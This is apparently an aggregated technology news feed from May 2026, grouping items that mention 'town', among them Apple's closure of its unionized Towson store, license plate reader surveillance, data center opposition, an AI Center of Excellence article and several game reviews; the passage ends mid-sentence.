Fri, 22 May 2026 17:03:28 +0200

Denuvo is the talk of the town again among Steam users, as IO Interactive adds the controversial DRM to 007 First Light, days before its launch.

Employees at Apple's first unionized store to protest closing

Fri, 22 May 2026 15:37:44 +0200

The union representing staff at Apple Towson Town Center has announced a public rally for May 27, 2026, protesting against Apple's treatment of its workers.

Apple Towson Town Center, Maryland

Apple Towson is not the only store that Apple has decided to close, but it is the only unionized one. It was the first Apple Store to unionize, and the International Association of Machinists and Aerospace Workers (IAM) Union claims that its members are being discriminated against because of this.

Known as the Machinists' Union for short, it has now announced a public protest.

Continue Reading on AppleInsider | Discuss on our Forums

Researchers left AI agents alone in a virtual town and watched it all unravel

Thu, 21 May 2026 12:35:31 +0200

Told not to commit crimes, the AI agents mostly did anyway. Arson, violence, romance, self-deletion, and general chaos quickly ensued. This article has been indexed from Malwarebytes Read the original article: Researchers left AI agents alone in a virtual town…

The post Researchers left AI agents alone in a virtual town and watched it all unravel appeared first on IT Security News.

Researchers left AI agents alone in a virtual town and watched it all unravel

Thu, 21 May 2026 12:22:54 +0200

Told not to commit crimes, the AI agents mostly did anyway. Arson, violence, romance, self-deletion, and general chaos quickly ensued.

Driving sims were once all the rage – will Forza Horizon 6 get them back on track?

Wed, 20 May 2026 16:18:40 +0200

Driving sims were overtaken by open world fantasy adventures, but new upgrades show how much joy there is in the genre

I have spent the last week careening around Japan in a Porsche 911, seeing the sights, racing other cars and occasionally veering off the road to plummet through an ancient bamboo forest. You all know what’s coming next … this wasn’t in real life, folks – it was in Forza Horizon 6, the latest instalment in Microsoft’s series of open world driving games set in authentic-looking, real-world locations.

Reviewing this game (which is out now on Xbox and PC, and coming to PS5 later in the year) has reminded me of the sheer fun and exhilaration that driving games can provide. It’s easy to forget, but this was the biggest genre in town from the 1990s to the early 2000s. Consoles were sold on how good their racing games were: the original PlayStation had Ridge Racer, the Sega Saturn had Daytona USA. Later came the dirt-track thrills of Colin McRae Rally, the chaotic destruction of Burnout, the sophisticated realism of Gran Turismo. They were the bestsellers of the era, showcasing the future of real-time 3D visuals.

PlayStation Exclusives Aren't Coming To PC Anymore

Tue, 19 May 2026 05:52:08 +0200

An anonymous reader quotes a report from The Verge: Sony reportedly won't release its major single-player PlayStation games on PC anymore. According to Bloomberg's Jason Schreier, Hermen Hulst, who heads up PlayStation's studios business, informed employees in a town hall on Monday about the change in strategy. Schreier had previously reported on the shift in March, saying that Sony scrapped plans to launch PC versions of last year's Ghost of Ytei and "other internally developed games." Online games will still come to multiple platforms following this change in strategy, Schreier reported at the time. In recent years, Sony has released many of its biggest games on PC, including Spider-Man 2, Ghost of Tsushima, both The Last of Us games, Horizon Zero Dawn Remastered, and multiplayer titles like Helldivers 2 and Marathon. Two years ago, Hulst committed to releasing PlayStation's live-service games "day and date" on PC and PS5, but its single-player PC releases have been less consistent, with Hulst saying that the company takes a "more strategic approach." In April, Microsoft's new Xbox chief Asha Sharma said the company is "reevaluating" exclusive games for the platform. "Players are frustrated," she wrote in a memo. "New feature drops on console have been less frequent. Our presence on PC isn't strong enough. Pricing is getting harder for people to keep up with. And core experiences like search, discovery, social, and personalization still feel too fragmented." "The model that got us here won't be the one that takes us forward," the memo adds.

Read more of this story at Slashdot.

FBI Wants to Buy Nationwide Access to License Plate Readers

Tue, 19 May 2026 01:07:33 +0200

The FBI is seeking up to $36 million for nationwide access to automated license plate reader (ALPRs) data, which could let it query vehicle movements across the U.S. and its territories through a commercial database. 404 Media reports: "The FBI has a crucial need for accessible LPRs to provide a diverse and reliable range of collections across the United States. This data should be available across major highways and in an array of locations for maximum usefulness to law enforcement," a statement of work, which describes what data the FBI is seeking access to, reads. ALPR cameras generally work by constantly scanning the color, brand, model, and license plate of vehicles that drive by. This creates a timestamped record of where a particular vehicle was at a specific time that law enforcement can then query, effectively letting them see exactly where someone drove across time. The technology has existed for decades, but has become more pervasive in recent years. The FBI says it is looking for a vendor that will let it log into a Software-as-a-Service system and then query the collected ALPR data with license plate information, a description of the vehicle, a time or date, and geolocation information. The FBI says it is looking for ALPR coverage in the following areas: Eastern 48 (East of the Mississippi River); Western 48 (West of the Mississippi River); Hawaii; Puerto Rico; Alaska; and outlying areas such as Guam, the U.S. Virgin Islands, or Tribal Territories. In effect, the FBI is looking for ALPR data nationwide and even beyond. An attached price template indicates the FBI is willing to pay $6 million for each of those broad areas, bringing the total to $36 million. The FBI says it intends to award the contract to a single vendor, but if any such vendor is unable to fulfill all of the requirements, the agency may award the contract to up to two vendors. The contract is specifically for the FBI's Directorate of Intelligence, which oversees the agency's intelligence mission. The FBI is not only a law enforcement agency, but also part of the Intelligence Community. The report notes that the contract appears aimed at vendors like Flock or Motorola Solutions, since they're some of the only companies able to provide the sort of data the FBI is seeking. Further reading: Small Town Fights Over Flock's AI-Enhanced Network of License Plate-Reading Cameras

Read more of this story at Slashdot.

PlayStation exclusives aren’t coming to PC anymore

Mon, 18 May 2026 21:31:24 +0200

PlayStation reportedly won't release its major single-player PlayStation games on PC anymore. According to Bloomberg's Jason Schreier, Hermen Hulst, who heads up PlayStation's studios business, informed employees in a town hall on Monday about the change in strategy. Schreier had previously reported on the shift in March, saying that Sony scrapped plans to launch PC […]

Small Town Fights Over Flock's AI-Enhanced Network of License Plate-Reading Cameras

Mon, 18 May 2026 00:52:15 +0200

160 miles north of New York City, a man was convicted of manslaughter "with the help of license plate reader technology," reports a local news station. In the small town of Troy (population: 51,000), the mayor described the cameras as "a critical tool" in that investigation. But locals and city officials "have raised concerns about who can access the data collected locally, along with data security, privacy invasions and use by federal authorities, including U.S. Immigration and Customs Enforcement, reports WNYT: When Troy's contract came up for renewal, Mayor Carmella Mantello wanted to keep paying Flock and the council paused payments. The mayor then issued a public safety emergency declaration to keep the license plate readers active. The council has filed a lawsuit to overturn that..."If this illegal emergency order is left unchallenged, we give this mayor and any future mayor regardless of their political party or ideology, unchecked authority to issue an emergency declaration whenever they disagree with the council on any issue," [said Troy council president Sue Steele]. "The technology that's in place today is not the technology of six years ago," council president Steele told another local news station. "We have AI, we have rapidly changing and advancing technology. So that begs the need for regulations to protect certain data." The American Civil Liberties Union warns that Flock will use AI to let law enforcement search its trove of videos. But "Listen, if it was infringing on people's rights, people's liberties, we'd be the first to get rid of it. We have safeguards in place," [mayor] Mantello responded. Mantello noted that data captured by Troy's Flock cameras is only being shared with other local municipalities. Steele said the data had been shared nationally until she and other elected officials raised concerns. "As far as sharing with local law enforcement, that's necessary in the normal course of investigations. The concern is what Flock does with this data: sharing it with ICE, for instance, and other nefarious outlets," Steele said. As the debate continues over the small city's 26 Flock cameras, a columnist in Albany wrote that "it's a good thing. We should be asking questions about the growing surveillance state. We should be debating whether this is the future we want." As the American Civil Liberties Union noted, [Flock] has quietly built a broad mass-surveillance infrastructure, with cameras installed in 5,000 communities around the country, and is continually expanding how that network is used. Did we ask for that? Did we vote for it? Not really. The cameras have been installed in municipality after municipality, mostly with little discussion or controversy, which makes us like the proverbial frogs who didn't notice the water getting warmer until it was boiling. Suddenly, surveillance cameras are everywhere; we're always being watched... [T]he City Council's Democratic majority is considering legislation that, among other steps, would require that data collected by the cameras be generally deleted after 48 hours and that the city be more transparent about how the cameras are used. The controversy and pushback continues to draw local coverage. The mayor complains the proposed rules restricts the cameras "almost exclusively to cases involving individuals with outstanding felony arrest warrants or situations where officers can determine in advance that an incident will result in a felony charge... This is beyond reckless." But the Albany columnist still argues many of America's Flock cameras are unnecessary and are "being installed just because... It's worth considering where this might lead and whether the future we're installing is the future we want."

Read more of this story at Slashdot.

Apple TV's Hilarious New Horror Series Is a Small-Town Comedy Unlike Anything on TV

Sat, 16 May 2026 17:17:42 +0200

Commentary: Widow's Bay is a wicked smart genre mashup that delivers epic scares and laughs, and pays tribute to Stephen King, Twin Peaks and Jaws.

Apple TV’s ‘Widow’s Bay’ series walks a tonal tightrope to bewitching effect – Variety

Fri, 15 May 2026 21:09:36 +0200

Apple TV's new “Widow’s Bay” series is set in a quaint island town 40 miles off the coast of New England. But something lurks beneath…

The post Apple TV’s ‘Widow’s Bay’ series walks a tonal tightrope to bewitching effect – Variety appeared first on MacDailyNews.

Your iPhone Might Soon Have Service in Every Single Corner of the US

Fri, 15 May 2026 19:50:34 +0200

Losing your cell signal in the middle of nowhere could soon become a thing of the past. The biggest wireless providers in the United States want to build a shared network that beams coverage directly from space. AT&T, Verizon, and T-Mobile are working on a joint venture to launch satellite-based cellular service across the country. If the deal goes through, it will finally connect areas that regular cell towers simply cannot reach. Your next trip out of town might just keep your iPhone fully online the entire time. A shared satellite network connects devices far beyond city limits The plan relies on direct-to-device technology to bring internet and voice service to rural and unserved locations. Instead of building massive new towers on the ground, each company will use satellites in orbit to talk straight to your phone. This means any Apple device or Android handset could stay connected even if its user wanders miles away from a main highway. Right now, each telecom provider has only announced its intent to form this partnership. The final contracts are still being negotiated. If a formal agreement takes shape, the joint venture will pool its shared resources to create new industry rules for how phones link to satellites. This new effort will not cancel out the separate space deals any carrier already has in place. For example, T-Mobile is still working with SpaceX to bring Starlink connections to its customers. The shared venture is simply an extra layer of coverage designed to make sure people stay connected when they need it most. Ultimately, this partnership marks a major shift in how mobile networks operate. While you will not see these changes overnight, the days of looking at a blank phone screen with zero bars of service are clearly numbered.

Pennsylvanians use town hall meeting to rail against data center boom

Fri, 15 May 2026 16:03:15 +0200

“This is a public trust and transparency issue.”

Bose’s new Lifestyle Ultra speakers are now available

Fri, 15 May 2026 15:17:01 +0200

Sonos has a new rival in town. Bose’s new Lifestyle Collection includes a $299 Lifestyle Ultra Speaker, a $1,099 Lifestyle Ultra Soundbar, and the $899 Ultra Subwoofer, all of which are now available directly from Bose and third-party retailers like Amazon and Best Buy. The $299 Lifestyle Ultra Speaker is essentially Bose’s version of the […]

How Forza Horizon took on Japan with deep research – and 360-degree cameras

Fri, 15 May 2026 12:47:54 +0200

The open world driving sim has roared through locations from Colorado to Australia, its authentic feel resting on exhaustive research. But, as the team explain, this was the toughest challenge yet

Since the arrival of the original Forza Horizon in 2012, a game that revolutionised open world driving sims by setting players loose in a virtual Colorado, British developer Playground Games has promised authenticity with its settings. For each instalment, design teams are sent out on location to take thousands of photos, hours of video, even detailed captures of the sky, before construction of a virtual copy begins. It’s a huge undertaking. But it seems that for much of the past decade, one country remained slightly out of reach – an intimidating prospect. “Japan has been on our shortlist for several games now,” says design director, Torben Ellert. “But we just didn’t feel like we were ready to take on the challenge of building it.”

It’s not just about the sheer variety of the country’s landscape. There’s something else going on. Most video game players hold an image of what it is like to explore Japan. It may be inspired by the fictitious rural town of Inaba in Persona 4, or the busy docks of Yokosuka in Shenmue, or perhaps the neon-drenched Kabukichō district of Tokyo, which forms a regular backdrop in the Yakuza series. For decades, gamers around the world have been bombarded with images of the country that are often highly stylised and fragmented, but nonetheless potent and persuasive. As art director Don Arceta puts it, “with Japan there’s such an expectation [of] what gamers want - it’s a certain version of Japan that they picture.”

Developer withdraws plans for Perth datacentre after fierce community opposition

Fri, 15 May 2026 11:03:13 +0200

Three-storey GreenSquare datacentre in Hazelmere was to power cloud computing and the acceleration of AI

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A 15,000 sq metre datacentre near Perth will no longer go ahead after the developer withdrew plans amid community opposition over its impact on culturally significant sites.

Energy supplier abandons Lake Tahoe residents to serve data centers

Thu, 14 May 2026 21:33:14 +0200

Town’s 49,000 California residents compete with Nevada data centers for energy.

Building an AI CoE: Why you need one and how to make it work

Thu, 14 May 2026 13:05:08 +0200

Artificial intelligence (AI) is no longer the playground of hobbyists and programmers. From automating customer‑service transactions to optimizing supply‑chain decisions, AI is rapidly becoming the central nervous system of today’s enterprises. McKinsey surveys have found that nearly nine in ten organizations are now using AI regularly in at least one business function, compared with 78% the previous year.

But adoption rates are far lower when it comes to scaling AI programs throughout the enterprise. Only about one‑third of companies have advanced past the pilot stage. Two‑thirds of organizations use AI technologies in multiple functions and 64% believe AI has had a positive impact on innovation. Just 39% say they’ve seen a significant impact on the bottom line.

This research shows that AI has gone mainstream, but its benefits are still concentrated in the hands of a relative few. This reality makes even more compelling the case for establishing a formal center of excellence (CoE).

Per Microsoft’s cloud‑adoption framework, a CoE is a centralized team responsible for standardizing best practices across the organization. An AI CoE functions as an internal team of experts that helps business units realize valuable and successful AI outcomes while avoiding pockets of AI solutions built without governance or standards. A well‑managed AI CoE builds consensus for standards and pilots and provides business and technical guidance to help convert AI excitement into measurable business value.

An artificial intelligence Center of Excellence is a strategic capability, not an ivory tower nor a vanity project for the few AI early adopters. An AI CoE can dramatically improve the quality and safety of your organization’s AI adoption efforts. In this article, we will discuss why every organization needs an AI hub like a CoE. We’ll explore how to staff and structure your center and provide recommendations to help it adapt over time.

Why create an AI CoE?

An AI CoE “acts as the central nervous system” for your company’s AI strategy. Without a centralized AI organization:

Siloed initiatives. Separate business units kick off AI pilots that aren’t centrally coordinated, leading to duplicated effort and fragmented results.
Inconsistent governance. Data governance, model security and compliance efforts differ from project to project putting your organization at risk of regulatory infractions or biased models.
Lack of standards. Groups spend time reinventing the wheel instead of building on reusable assets and shared toolkits.
Difficulty scaling. Smaller pilots become roadmaps unto themselves because there’s no standardized process for prioritizing and scaling AI solutions.

An AI CoE helps solve these issues by setting forth an AI strategy, aligning AI efforts with your business objectives and offering governance, policy and expertise. Additionally, an AI CoE promotes responsible and ethical AI principles through fairness, privacy and transparency policies. According to IDC research, CoEs enable cross‑functional collaboration between data scientists, domain experts and chief finance officers to help translate AI prototypes into repeatable solutions that align AI spending with business strategy. IDC analysts also find that effective CoEs can provide talent development, knowledge sharing, partnerships and an innovation mindset.

The business case only strengthens when looking at the economics of generative AI specifically. IDC’s 2024 “Business Opportunity of AI” study, sponsored by Microsoft, revealed generative‑AI adoption rose from 55% in 2023 to 75% in 2024. Companies that deployed generative AI were also found to experience significant returns. Organizations see an average ROI of $3.7 realized for every dollar spent on generative AI. For high performers, ROI reached $10.3 for every dollar spent. The majority of companies spend less than eight months deploying generative AI solutions, with ROI seen after just thirteen months. The research highlights how well‑managed AI initiatives can produce exceptional returns and why centralized governance and expertise are critical.

In addition to mitigating risks, a properly established CoE also creates opportunities. According to IDC, successful COEs can provide workforce enablement, knowledge dissemination, strategic alliances, certification and training and a culture that fosters innovation and creativity. Leaders at Hitachi Vantara call their COE “enabling AI to go from theoretical exploration to practical implementation that optimizes processes, supercharges efficiency and unlocks data‑driven insights.”

When it comes to AI in financial services, BizTech Magazine found that while 81% of executives say they are currently using AI and will invest more money in it, only 25% of them have completely deployed monitoring and management tools even though 87% said they already have governance in place. This is a clear example of how businesses are adopting new technologies but lack operational maturity and how a centralized CoE can help bridge that final mile and make governance frameworks a reality.

Business impacts achieved through CoEs are faster AI adoption, more efficient resource utilization, better decision‑making, lower risk, stronger strategic alignment and better collaboration. Boards and investors are demanding it; according to IDC analysts, organizations with mature AI governance have seen increased returns on invested capital (ROIC) and view CoEs as critical source of competitive differentiation.

How to build and structure the CoE

An AI CoE should have an executive sponsor who can offer budget, authority and credibility to ensure standards are upheld. Create a steering committee of business and IT leaders and schedule frequent reviews to monitor progress. Then, identify a leader for your CoE who is devoted to its success and has deep AI skills, as well as reach across the enterprise. Hire a diverse team of business leaders, data scientists, machine‑learning engineers, governance and security professionals. This variety of backgrounds will help ensure AI initiatives meet technical and business needs, as well as regulatory and ethical standards.

Define the operating model and responsibilities

IDC analysts note that an important objective of a CoE should be to close the supply‑and‑demand gap for AI skills. This can be accomplished by creating a centralized team of employees from different business units or geographies who pool their collective knowledge and then disburse back out into the business. Hardy recommends that this cross‑functional team include not only deep technical experts such as data scientists, AI engineers and machine‑learning specialists but also business leaders as well as IT and cybersecurity professionals. These members can help ensure AI initiatives are applied to business problems and integrated into production environments securely. Team members may include data scientists, software engineers, business analysts, subject‑matter experts and project managers. Common skills include domain knowledge, programming and data skills, problem solving, communications and a team mindset. Skills required of the Center of Excellence leader include a strong knowledge of AI, along with a visionary but execution focused approach to work. Additional leadership traits include practicing radical candor with your teams and colleagues while staying agile and flexible in your decisions due to the rapidly changing nature of AI.

Skills gaps are another common challenge to AI scaling. According to Microsoft’s 2024 IDC-commissioned survey, 30 % of respondents stated their organizations don’t have specialized AI skills and another 26 % said their organization has too few employees with the skills necessary to learn and work with AI. By tapping into talent from across the business, the CoE can centralize hard-to-find expertise. It can also administer training initiatives to fill these gaps. The CoE should partner with HR leaders to create learning journeys, certification initiatives and mentorship programs to ensure the talent pool continues to grow with advancing AI technology.

Determine where the CoE sits in your company’s hierarchy. A centralized hub makes sense early in your AI journey to centralize knowledge and ensure consistent practices. But as your organization adopts AI, the CoE can evolve into a decentralized, enablement model that provides guardrails and allows product teams to own their own AI applications. Clearly establish your CoE’s primary functions. These may include:

AI strategy and use‑case identification. Partnering with business leaders to identify and prioritize AI opportunities that will provide the most value to the organization.
Skills development. Determining your current level of AI skills and implementing learning and hands‑on experimentation programs.
Pilot projects. Leading targeted pilots to prove out AI methodologies and provide proof of business value.
Standards and governance. Establishing governance frameworks and security standards, monitoring usage to ensure AIs are being used ethically and performing routine data security and compliance audits.
Intake and prioritization. Establishing a formal process to accept requests and evaluate them based on potential business value, feasibility and resource demands.
Reusable assets. Creating checklists, templates and code libraries to speed up future initiatives.
Metrics and reporting. Measuring adoption, compliance and business value and using that information to foster continual improvement.

Integrate ethics and responsible AI

AI solutions should be ethical, which means they should be helpful and unbiased. The CoE should develop policies around responsible AI use, so models are transparent, unbiased and reflect company values. Teams should conduct audits of training data and model outputs to identify and reduce bias and the potential for inadvertent harm. AI governance should include privacy and data‑security principles.

Avoid bureaucratic bottlenecks

One pitfall of CoEs is that they tend to turn into gatekeepers and slow down innovation. Instead, Microsoft recommends shifting the CoE from being a gatekeeper to playing an advisory role once your AI adoption becomes more established. Build AI delivery into platform teams and allow product teams to execute against AI solutions under guardrails. The CoE can concentrate on things like setting standards, sharing knowledge and mentorship while teams on the frontline own the execution.

How to ensure continuous improvement

AI is still an emerging technology and science, which means that a one‑time standing CoE will become irrelevant almost immediately. It should evolve constantly, leveraging three primary levers:

Feedback and learning loops. Establish processes to capture input from users and stakeholders in production and pilot environments. This feedback should be used to update models, training datasets, documentation and governance processes.
Investment in skills and culture. Embed AI literacy into your culture by providing regular training and building communities of practice. Forums like these allow employees to share failures and best practices. Focus change‑management efforts on employees’ misperceptions about how AI will replace their jobs. Communicate how AI tools will make their jobs easier instead.
Metrics‑driven evolution. Define a measurement framework that encompasses adoption, compliance and ROI metrics. Use these measurements to surface bottlenecks and opportunities for improvement. If your metrics indicate your central governance is slowing adoption, consider a more federated approach.

Researchers from IDC stress that “unlocking the power of frontier AI … requires building a culture of continuous learning.” COEs should implement processes like internal training initiatives, communities of practice and sandbox spaces for experimentation so that knowledge can continue flowing to employees as fast-changing AI capabilities develop. Benchmarking your progress is also key, say the analysts in their suggestions for how to measure COE success with AI. IDC recommends defining clear goals, building KPIs into projects, tracking completed initiatives, gathering feedback on customer satisfaction and looking at indicators for revenue growth and innovation.

Conclusion: A strategic capability, not a side project

An AI Center of Excellence won’t solve every challenge. It needs ongoing senior leadership sponsorship, cross‑functional teamwork and an openness to shift your operating model as your organization matures in its AI journey. However, when done right, it provides a framework for enterprise‑level AI enablement. It ensures AI initiatives are aligned to business priorities, sets standards and governance, develops your workforce and speeds up the responsible delivery of AI solutions.

AI Centers of Excellence are already helping organizations drive value across industries by scaling AI adoption, strengthening governance, accelerating experimentation and moving AI use cases from ideation to production.

Financial services. Major banks are forming federated AI CoEs made up of divisional CoEs within business units like retail banking, wealth management and asset management. These cross‑functional teams customize AI for their functions, whether that’s portfolio optimization or customer support automation, backed by a centralized GenAI layer that provides unified governance, tools and evaluation frameworks. The federated approach limits redundancy, fosters collaboration and scales AI more broadly.
Professional services and technology. With Microsoft’s guidance, NTT DATA developed an agentic AI CoE. The center offers a centralized environment for customers to design, deploy and operate AI agents spanning different cloud environments. Highlights include unified governance that’s aligned with its cloud center of excellence (CCoE) architecture, shared infrastructure to build agent‑based applications and coordination with Microsoft subject matter experts. The AI CoE serves as an engine for delivery, helping accelerate the path from experimentation to production at scale with security built in.
Consulting firms. Capgemini applies the principles of an AI CoE to its suite of offerings to ensure consistent AI governance, reuse assets and tools and link AI projects to quantifiable business outcomes. Standardizing the how behind project execution allows Capgemini to decrease variation across customer projects and empower organizations to operate at speed without losing sight of enterprise needs.
Enterprise experimentation. EY created an AI CoE focused on providing a secure sandbox environment. Teams can experiment with AI use cases, validate their feasibility and associated risk and fast‑track promising use cases to production. Centralized visibility and governance allow for consistent security and compliance standards, shortening the time between ideation and execution and preventing siloed adoption.

Taken together, these industry examples highlight how a CoE is less of a technology endeavor and more focused on creating institutional trust and capacity. Want more proof points on how COEs make an impact? Consider how at ECS, a provider of cloud, cybersecurity and artificial intelligence (AI) services, the data and AI COE unify more than 200 data professionals across the business, shares their collective expertise across town halls and events and manages strategic partnerships. The COE enables proposals, solutions and fosters a culture of creativity and innovation.

Over at Hitachi Vantara, the AI COE is tasked with transforming ideas into production‑ready prototypes and is already being recognized for improving efficiency across operations and creating new revenue streams from advanced machine‑learning models. The board wants ROI and organizations with mature AI governance and COEs can increase returns on invested capital and create new sources of revenue. These are just a few examples of how a well architected CoE turns strategy into tangible business value.

The race for AI supremacy is picking up speed. Organizations that invest time and resources into building an effective AI Center of Excellence will be best positioned to turn innovation into competitive advantage. The CoE is how your biggest ideas go from concept to business solution–helping leaders do their best work.

This article is published as part of the Foundry Expert Contributor Network.
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Data centers are coming for rural America

Wed, 13 May 2026 11:02:51 +0200

At its peak, the Androscoggin paper mill in Jay, Maine, a rural town about 67 miles northwest of Portland, employed about 1,500 people - until a pulp digester exploded in 2020, forcing the mill to close permanently. In 2023, the 1.4 million-square-foot facility was purchased through a joint venture by JGT2 Redevelopment and a number […]

New Jersey Town to Ban All Data Centers After Chaotic Meeting

Tue, 12 May 2026 21:48:44 +0200

Days after a township meeting ended with police forcibly removing a speaker, Andover Township officials announced they plan to ban all data centers — including those that fuel AI.

Home sweet home

Fri, 08 May 2026 23:04:54 +0200

So I get home from Linux World, and I have today to run a bunch of errands:

Buy and install a new printer for my church
Do Laundry
Catch up with with my bills and expense vounchers
Mail some very late Christmas presents

…and then it’s off to get Australia for linux.conf.au. And after I get back from that, a few days later, it’s off to Helsinki where I’m teaching a tutorial for NordU 2002 conference. Yelch. Way too much travel. And I thought I was going to be able to cut back on my travel schedule. Hah.

Well, it’s mostly my fault. The Helsinki trip was planned many months ago. It seemed like a fun thing to do, and I wasn’t planning to do anything else. Then came the e-mail message from Rusty just before Christmas.

Congratulations! Your paper was accepted to linux.conf.au! Since you’re going to be in town, how would you like to do the Keynote?

There was only one problem. I hadn’t submitted a paper.

The note went on to say,

Since you didn’t request travel funding, there’s no money in the budget for your travel expenses.

Well, at least that part was true; I didn’t request travel funding — becuase I didn’t expect to bo going!!

Well, Rusty was able to dig up funding, so I agreed to go, lest there be two rather large holes blown into his schedule. But it means that February is travel hell month. Don’t get me wrong. I do like travel; but there is such a thing as too much, and it’s really hard to have anything resembling a social life when you’re constantly on the road.

Sigh, well, it’ll be good to be back. And after that, hopefully my life really will settle down.

Orkut and the cheapening of friendship

Fri, 08 May 2026 23:03:41 +0200

What does it mean to be a friend? In LiveJournal, it has a very specific meaning; it means that you’re interested in reading someone’s journal, and that in general, you’re willing to let that person read your “friends-only” postings — at least, unless you start using friend groups to control who can see which posting. In Orkut, however, saying someone is a friend has little or no meaning, since in orkut you don’t really do anything other than define your social circle.

Worse yet, in Orkut-space, friendships are generally bilateral; when someone adds you as a friend, it adds clutter to your Orcut main page until you answer the question yes/no question, “Is person so-and-so your friend?”. Well, what kind of question is that? Orkut doesn’t allow you to specify whether the friendship level is one of “this is someone I would have as a groomsmen or bridesmaid at my wedding”, down to “this person heard me speak when I happened to be in town in Victoria, B.C; we may have said hello”. So do you say yes, or do you say no and risk offending some relative stranger because you’re saying that “sorry, I don’t consider you a friend”.

What most people seem to do is to simply say “yes”, on the theory that in Orkut-space, it’s relatively cheap. After all, it’s not like you’re giving them access to your TMI livejournal entries. In addition, the entire structure of the Orkut site is structured to encourage people to use a very loose, cheap definition of friendship. People with a large number of friends are featured prominently on other people’s network charts, where as people with few friends are on the fringes, or not listed at all. So a person who has a few, deep friendships are pushed to the margins, where as someone with hundreds of superficial friendships are pushed into the center. Wonderful.

The one useful thing that I’ve found from Orkut is that it’s been a useful source for various people’s cell phone numbers, as well as other vaguely personal details that I hadn’t known about them. My theory is that this is because most people fill out the profile before they understand what “friendship” means in Orkut, and so they general tend to be a bit more willing to let information be available to their “friends”. Then when they get seduced into listing everyone and their brother/sister as friends, they don’t go back to edit down their profile to match their actual level of Orkut promiscuity.

I’m still trying to figure out what I should do with my Orkut account at this point. Should I just give in, and say yes to everyone who claims me as a their friend? Should I be more discerning, and risk offending these people? Should I ask for my Orkut account to be removed? I’m not sure, but this quote from Marc Cramer’s blog is certainly where I’m leaning….

I already know who my friends are, am not actively trying to get laid, and don’t need the “service” of having to risk offending near-strangers who want me to confirm some notional “friendship” between us a dozen times a day and I certainly can’t think of a good reason to entrust some commercial outfit with my personal relationship data.

Open Source is alive and well in PDX thank you

Fri, 08 May 2026 23:01:46 +0200

I really should stop reading the Oregonian, they do such a poor job of covering high tech and the business section is especially weak. The recent piece about OSCON moving to Silly Valley overlooked so many obvious things like the Linux Plumber's Conference next week, the Kernel Summit not to mention the Open Source technology center, Oracle office in Portland, Portland State, and Free Geek. So the loss of one conference which is mostly attended by out of town people is really no impact on the local open source infrastructure.

From Smashing Pumpkins to Ferris Bueller: new Australian indie video game Mixtape is a blast of nostalgia

Fri, 08 May 2026 17:33:43 +0200

In the game by Melbourne-based Beethoven and Dinosaur, you play as a teenage girl the night before moving to New York – drinking, skateboarding and getting into trouble, all soundtracked by 80s and 90s classics

When Johnny Galvatron was 14, his cousin gave him a copy of the Smashing Pumpkins’ seminal 1995 album, Mellon Collie and the Infinite Sadness. For Galvatron, a rambunctious teenager in Geelong who defined himself by his musical taste, it was love at first spin. “I don’t think there’s a track like Tonight, Tonight from any other band,” he reminisces.

A song from the album plays at a critical moment in Mixtape, the second game from Galvatron’s Melbourne-based studio, Beethoven and Dinosaur. It’s a narrative adventure game about Stacy Rockford, a teenage girl in the fictional 90s American suburban town of Blue Moon Lagoon.

Cozy city builder Town to City leaves early access on May 26

Thu, 07 May 2026 20:17:53 +0200

One of the genre's top-rated games is going 1.0 and adding a new map.

The Guardian view on facial recognition technology: mistaken identities are a political issue | Editorial

Thu, 07 May 2026 19:49:44 +0200

Once again, digital tools are running ahead of regulators. Civil liberties must not be sacrificed to policing

It is a familiar story. Extravagant claims are made on behalf of novel computerised tools. The public are told that this or that digital application or system is going to change the world for the better. Efficiencies will be unlocked and problems solved as human limitations are overcome by networked devices plugged into vast stores of data. Anyone who questions the narrative is a pessimist or, perhaps, a criminal.

This appears to be the logic behind arguments put forward on behalf of one such tool – live facial recognition technology. Law-abiding citizens have “nothing to fear” from the police’s increased reliance on mounted cameras, said the Home Office minister, Sarah Jones, last month, after a high court challenge brought on human rights and privacy grounds failed. The use of AI-powered identification software, made by the Japanese company NEC, “only locates specifically wanted people”, she added. Last year, Ms Jones described the technology as “the biggest breakthrough for catching criminals since DNA”.

Newburgh, Maine, Residents Push Back Against AI-Generated Logo

Thu, 07 May 2026 17:49:07 +0200

The pushback comes after the local government in Newburgh, a town of roughly 1,500 people, shared a new town logo on social media asking for feedback, admitting that it was made using AI.

Mixtape review – tongues, trolleys and classic 90s tracks celebrate teenage misadventure

Thu, 07 May 2026 15:18:12 +0200

PS5, Xbox, PC, Switch 2; Annapurna Interactive
The nostalgic antics of a trio of tenacious teens make for silly yet undeniably enjoyable gameplay, framed by a playlist of bona fide bangers

The older we get, the more we tend to romanticise our teenage years. As bills pile up, we yearn for the simple days of drinking cider in parks. We often tend to forget the bad parts: the frustrating lack of autonomy, the unrequited crushes and the doofuses you’re forced to tolerate in the playground. But after four hours spent hanging out with the pretentious teens in Mixtape, I felt pretty relieved to be in my 30s.

Set in a nondescript town in northern California, Mixtape follows the exploits of tenacious trio Rockford, Slater and Cassandra as they head to a legendary party on their last day of high school. With Rockford about to leave her friends to move to the big city, she wants to immortalise the gang’s time together in musical form. Every song on a carefully curated mixtape triggers a totally tubular flashback to one of their shared memories.

Maryland Lawmakers Press Apple Over Closure of Unionized Towson Store

Wed, 06 May 2026 08:26:09 +0200

Apple is facing new political pressure over its decision to permanently close its unionized retail store at Towson Town Center in Maryland, with two U.S. Senators and seven Members of Congress demanding answers from CEO Tim Cook and incoming CEO John Ternus about the move and its impact on workers. The controversy centers on Apple Towson Town Center, which became the first unionized Apple Store in the United States in 2022. Apple plans to close the location on June 20 alongside two other stores in California and Connecticut, saying all three malls have seen declining conditions and the departure of major retailers. However, the Towson closure quickly turned into a labor dispute because unionized employees at the Maryland store are not receiving the same guaranteed transfer opportunities offered to workers at the other two closing locations. Maryland delegation questions Apple’s decision In a letter sent this week, Maryland lawmakers said they were “seriously concerned” about Apple shutting down what they described as a “strong-performing location” without plans to maintain a retail presence in the Baltimore region. The lawmakers asked Apple to explain what alternatives it considered before deciding to close the store, including relocation options and operational changes that could preserve jobs. They also questioned how Apple plans to support nearly 100 affected employees and whether the company would allow immediate transfers to nearby Apple Stores. “We recognize that decisions of this scale involve complex business considerations. However, we urge Apple to reconsider whether there are viable paths forward that would preserve jobs and maintain a retail presence in the region. Maryland residents value employers who invest in their workforce and demonstrate a sustained commitment to the communities they serve. We stand ready to engage constructively with Apple to better understand this decision and to explore potential solutions.”— Letter from Maryland congressional delegation to Tim Cook and John Ternus The lawmakers also said the closure would “significantly affect” workers, local residents, and small businesses tied to the shopping area. Union accuses Apple of discriminatory treatment The International Association of Machinists and Aerospace Workers, also known as IAM, filed an unfair labor practice charge with the National Labor Relations Board last month over 